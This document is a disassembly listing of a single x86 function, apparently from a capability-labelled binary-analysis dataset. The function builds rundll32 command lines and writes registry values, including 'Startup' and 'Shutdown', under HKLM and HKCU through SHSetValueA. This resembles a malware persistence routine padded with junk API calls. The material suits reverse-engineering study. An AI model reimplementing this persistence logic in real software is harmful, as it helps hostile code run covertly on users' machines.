Function at 0x1000b5f0
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd84
mov dword [ebp - 0xd84], ecx
mov dword [ebp - 0x628], 0
mov dword [ebp - 0x620], 0
mov dword [ebp - 0x624], 0
mov dword [ebp - 0x61c], 0
mov dword [ebp - 0x1ec], 0
mov dword [ebp - 0x618], str.Forth
mov dword [ebp - 0x1e8], 0
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0x604], 0
mov eax, dword [ebp - 0xd84]
add eax, 0x18e8
push eax
mov ecx, dword [ebp - 0xd84]
call fcn.1000bd30
mov dword [ebp - 0x2fc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x618]
movsx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x1ec]
push eax
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.USER32.dll_InflateRect]
mov edx, dword [ebp - 0x2fc]
push edx
lea eax, [ebp - 0x2f8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0x1ec]
mov dword [ebp - 0x1e8], ecx
lea edx, [ebp - 0x1e8]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov byte [ebp - 0x1e0], al
lea eax, [ebp - 0x2f8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp + eax - 0x2fc], 0
mov ecx, dword [ebp - 0xd84]
movzx edx, byte [ecx + 8]
test edx, edx
je 0x1000bb49
mov eax, dword [ebp - 0xd84]
movzx ecx, byte [eax + 0x1c]
test ecx, ecx
jne 0x1000bb49
push 0x1001a104
lea ecx, [ebp - 0x600]
call fcn.10001980
push eax
lea edx, [ebp - 0x838]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x2f8]
push eax
lea ecx, [ebp - 0x838]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x630], 0x80000002
lea edx, [ebp - 0x838]
test edx, edx
je 0x1000b770
lea eax, [ebp - 0x838]
push eax
lea ecx, [ebp - 0x730]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 0xd84]
movzx eax, byte [edx + 9]
test eax, eax
je 0x1000b8f2
push 0x1001a254
lea ecx, [ebp - 0x600]
call fcn.10001980
mov dword [ebp - 0xc9c], eax
mov dword [ebp - 0x840], 0x80000001
cmp dword [ebp - 0xc9c], 0
je 0x1000b7bf
mov ecx, dword [ebp - 0xc9c]
push ecx
lea edx, [ebp - 0x940]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.rundll32.exe
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x2f8]
push ecx
lea edx, [ebp - 0x838]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1001a4b0
lea ecx, [ebp - 0x600]
call fcn.10001980
push eax
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100174a8
lea ecx, [ebp - 0x838]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 0x618]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0xfc]
lea edx, [ecx + eax + 1]
mov dword [ebp - 0xfc], edx
push 0x100174a0
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0x618]
movsx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x1ec]
push eax
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.USER32.dll_InflateRect]
push 0x1001a4a4
lea ecx, [ebp - 0x600]
call fcn.10001980
mov dword [ebp - 0xce4], eax
mov dword [ebp - 0xce0], 0
lea edx, [ebp - 0x838]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x838]
push eax
push 1
mov ecx, dword [ebp - 0xce4]
push ecx
lea edx, [ebp - 0x940]
push edx
mov eax, dword [ebp - 0x840]
push eax
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [ebp - 0xce0], eax
xor ecx, ecx
cmp dword [ebp - 0xce0], 0
sete cl
movzx edx, cl
test edx, edx
jne 0x1000b8d7
mov dword [ebp - 0x604], 7
lea eax, [ebp - 0xf8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
sub eax, 2
mov dword [ebp - 0xfc], eax
jmp 0x1000bb44
mov dword [ebp - 0xd14], 1
push 0x1001a284
lea ecx, [ebp - 0x600]
call fcn.10001980
mov dword [ebp - 0xd10], eax
mov dword [ebp - 0xd08], 0
mov dword [ebp - 0xd0c], 4
mov ecx, dword [ebp - 0xd0c]
push ecx
lea edx, [ebp - 0xd14]
push edx
push 4
mov eax, dword [ebp - 0xd10]
push eax
lea ecx, [ebp - 0x730]
push ecx
mov edx, dword [ebp - 0x630]
push edx
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [ebp - 0xd08], eax
cmp dword [ebp - 0xd08], 0
je 0x1000b969
mov byte [ebp - 0xd15], 0
jmp 0x1000b970
mov byte [ebp - 0xd15], 1
movzx eax, byte [ebp - 0xd15]
test eax, eax
je 0x1000bb19
push 0x1001a294
lea ecx, [ebp - 0x600]
call fcn.10001980
mov dword [ebp - 0xd40], eax
mov dword [ebp - 0xd3c], 0
mov ecx, dword [ebp - 0x2fc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov edx, dword [ebp - 0x2fc]
push edx
push 1
mov eax, dword [ebp - 0xd40]
push eax
lea ecx, [ebp - 0x730]
push ecx
mov edx, dword [ebp - 0x630]
push edx
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [ebp - 0xd3c], eax
xor eax, eax
cmp dword [ebp - 0xd3c], 0
sete al
movzx ecx, al
test ecx, ecx
je 0x1000bb19
mov dword [ebp - 0xd70], 0
push 0x1001a2a0
lea ecx, [ebp - 0x600]
call fcn.10001980
mov dword [ebp - 0xd6c], eax
mov dword [ebp - 0xd64], 0
mov dword [ebp - 0xd68], 4
mov edx, dword [ebp - 0xd68]
push edx
lea eax, [ebp - 0xd70]
push eax
push 4
mov ecx, dword [ebp - 0xd6c]
push ecx
lea edx, [ebp - 0x730]
push edx
mov eax, dword [ebp - 0x630]
push eax
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [ebp - 0xd64], eax
cmp dword [ebp - 0xd64], 0
je 0x1000ba65
mov byte [ebp - 0xd71], 0
jmp 0x1000ba6c
mov byte [ebp - 0xd71], 1
movzx ecx, byte [ebp - 0xd71]
test ecx, ecx
je 0x1000bb19
mov dword [ebp - 0xd78], 0
push 0x10017498
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x10017498
push 1
push str.Startup
lea edx, [ebp - 0x730]
push edx
mov eax, dword [ebp - 0x630]
push eax
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [ebp - 0xd78], eax
xor ecx, ecx
cmp dword [ebp - 0xd78], 0
sete cl
movzx edx, cl
test edx, edx
je 0x1000bb19
mov dword [ebp - 0xd7c], 0
push 0x10017484
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x10017484
push 1
push str.Shutdown
lea eax, [ebp - 0x730]
push eax
mov ecx, dword [ebp - 0x630]
push ecx
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [ebp - 0xd7c], eax
xor edx, edx
cmp dword [ebp - 0xd7c], 0
sete dl
movzx eax, dl
test eax, eax
jne 0x1000bb23
mov dword [ebp - 0x604], 6
lea ecx, [ebp - 0x1e8]
push ecx
push 0
call dword [sym.imp.USER32.dll_ClientToScreen]
mov dword [ebp - 0x1e4], eax
mov edx, dword [ebp - 0x1e8]
mov dword [ebp - 0x1ec], edx
jmp 0x1000bceb
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0x614], eax
lea ecx, [ebp - 0x614]
push ecx
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.USER32.dll_EqualRect]
push 0x1001a254
lea ecx, [ebp - 0x600]
call fcn.10001980
mov dword [ebp - 0xd80], eax
mov dword [ebp - 0x948], 0x80000001
cmp dword [ebp - 0xd80], 0
je 0x1000bba6
mov eax, dword [ebp - 0xd80]
push eax
lea ecx, [ebp - 0xa48]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x1ec], eax
mov edx, dword [ebp - 0x1ec]
add edx, dword [ebp - 0x628]
mov dword [ebp - 0x1ec], edx
lea eax, [ebp - 0x1e8]
push eax
push 0
call dword [sym.imp.USER32.dll_ClientToScreen]
mov dword [ebp - 0x1e4], eax
mov ecx, dword [ebp - 0x1e8]
mov dword [ebp - 0x1ec], ecx
push str.rundll32
lea edx, [ebp - 0xb50]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0xd84]
movzx ecx, byte [eax + 0x1c]
test ecx, ecx
je 0x1000bc46
lea edx, [ebp - 0xc58]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x628]
push eax
push 0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [ebp - 0x628]
mov dword [ebp - 0x1e8], ecx
lea edx, [ebp - 0xc58]
push edx
lea eax, [ebp - 0xb50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0x2fc]
push ecx
lea edx, [ebp - 0xb50]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100174a8
lea eax, [ebp - 0xb50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100174a0
lea ecx, [ebp - 0xb50]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 0x618]
movsx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x1ec]
push ecx
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.USER32.dll_InflateRect]
lea eax, [ebp - 0xb50]
push eax
push 0x1001a4a4
lea ecx, [ebp - 0x600]
call fcn.10001980
push eax
lea ecx, [ebp - 0xa48]
call fcn.1000f2d0
movzx ecx, al
test ecx, ecx
jne 0x1000bcd0
mov dword [ebp - 0x604], 7
lea edx, [ebp - 0x628]
push edx
push 0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [ebp - 0x628]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x604]
mov esp, ebp
pop ebp
ret